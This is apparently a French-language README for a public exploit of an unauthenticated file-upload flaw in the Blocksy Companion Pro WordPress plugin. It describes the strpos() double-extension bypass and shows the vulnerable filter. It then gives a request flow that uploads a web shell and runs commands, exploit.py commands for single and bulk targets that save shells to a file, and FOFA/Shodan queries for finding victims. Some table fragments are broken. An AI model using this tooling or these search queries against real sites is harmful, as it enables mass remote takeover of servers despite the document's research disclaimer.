
CVE-2026-58480 / CVE-2026-15158 — RCE non authentifiée dans Blocksy Companion Pro < 2.1.47 (300K+ installations). Téléversement arbitraire de fichier pré-auth via contournement de la double extension.
CVE-2026-58480 (également référencé comme CVE-2026-15158) est une vulnérabilité critique (CVSS 9.8) de téléchargement arbitraire de fichiers sans authentification dans Blocksy Companion Pro < 2.1.47 — l'extension premium du thème WordPress Blocksy (plus de 300 000 installations actives).
Le gestionnaire AJAX save_attachments de la fonctionnalité Advanced Reviews (faisant partie de WooCommerce Extra) accepte les téléchargements de fichiers sans authentification. L'extension Custom Fonts valide les téléchargements via une vérification de sous-chaîne strpos() pour .woff2 / .ttf — et non l'extension réelle du fichier. Les attaquants contournent cela avec des noms de fichiers à double extension comme shell.woff2.php : .woff2 correspond à la vérification de sous-chaîne, .php s'exécute sur le serveur.
| Version | Statut |
|---|---|
| < 2.1.47 | Vulnérable |
| 2.1.47+ | Corrigé |
Prérequis : Licence premium avec les extensions WooCommerce Extra (Advanced Reviews) et Custom Fonts actives. Le plugin gratuit
blocksy-companionne contient pas les chemins de code vulnérables.
L'extension Custom Fonts enregistre un filtre wp_check_filetype_and_ext qui valide les noms de fichiers à l'aide de strpos() — une correspondance de sous-chaîne — au lieu de vérifier l'extension réelle du fichier via PATHINFO_EXTENSION :
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
La fonction save_attachments d'Advanced Reviews appelle le gestionnaire de téléchargement standard de WordPress, qui invoque ce filtre. Un fichier nommé shell.woff2.php est accepté car .woff2 existe comme sous-chaîne — le filtre ne vérifie PAS qu'il s'agit de l'extension finale.
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data
| Fichier (Trac) | Ligne | Rôle |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | filtre de validation strpos() |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit
python exploit.py -u https://target.com
# Bulk scan
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_extCet exploit est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Ne l'utilisez pas contre des systèmes sans l'autorisation explicite du propriétaire.
| 811 |
gestionnaire save_attachments |